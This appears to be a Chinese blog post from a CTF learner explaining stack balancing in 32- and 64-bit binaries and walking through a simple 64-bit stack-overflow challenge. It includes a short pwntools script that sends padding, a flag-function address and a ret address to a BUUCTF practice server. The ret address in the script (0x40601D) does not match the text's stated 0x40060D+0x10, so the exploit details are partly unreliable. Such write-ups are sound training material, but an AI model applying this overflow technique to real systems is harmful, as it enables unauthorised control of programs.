pwn中 64位与32位,增加堆栈平衡

1)如果要返回父程序,则当我们在堆栈中进行堆栈的操作的时候,一定要保证在RET这条指令之前,ESP指向的是我们压入栈中的地址。
2)如果通过堆栈传递参数了,那么在函数执行完毕后,要平衡参数导致的堆栈变化。

含义就是 当函数在一步步执行的时候 一直到ret执行之前,堆栈栈顶的地址 一定要是call指令的下一个地址。

也就是说函数执行前一直到函数执行结束,函数里面的堆栈是要保持不变的。

如果堆栈变化了,那么,要在ret执行前将堆栈恢复成原来的样子。

 

原因我们知道了,但如何去找   ret地址  和   函数地址

 

借助一道题,一道简单的64位栈溢出。

 

 

 
 
已经找到存储flag的函数(sub_40060D),函数的起始地址就是0x40060D,其结束地址就是ret地址(0x40060D+0x10),再加填充的垃圾数据 payload = ("A"*(0x40 + 8)).encode(),和 p64(0x40060D)+ p64(0x40601D),就是payload
 
 
复制代码
from pwn import *

p = remote("node3.buuoj.cn",28497)

payload = ("A"*(0x40 + 8)).encode()
payload = payload+ p64(0x40060D)+ p64(0x40601D)
p.sendline(payload)

p.interactive()
复制代码

 

 
 
 
posted @   丹青初鸿  阅读(1926)  评论(0编辑  收藏  举报
编辑推荐:
· 没有源码,如何修改代码逻辑?
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
阅读排行:
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 没有源码,如何修改代码逻辑?
· NetPad:一个.NET开源、跨平台的C#编辑器
· PowerShell开发游戏 · 打蜜蜂
· 凌晨三点救火实录:Java内存泄漏的七个神坑,你至少踩过三个!
点击右上角即可分享
微信分享提示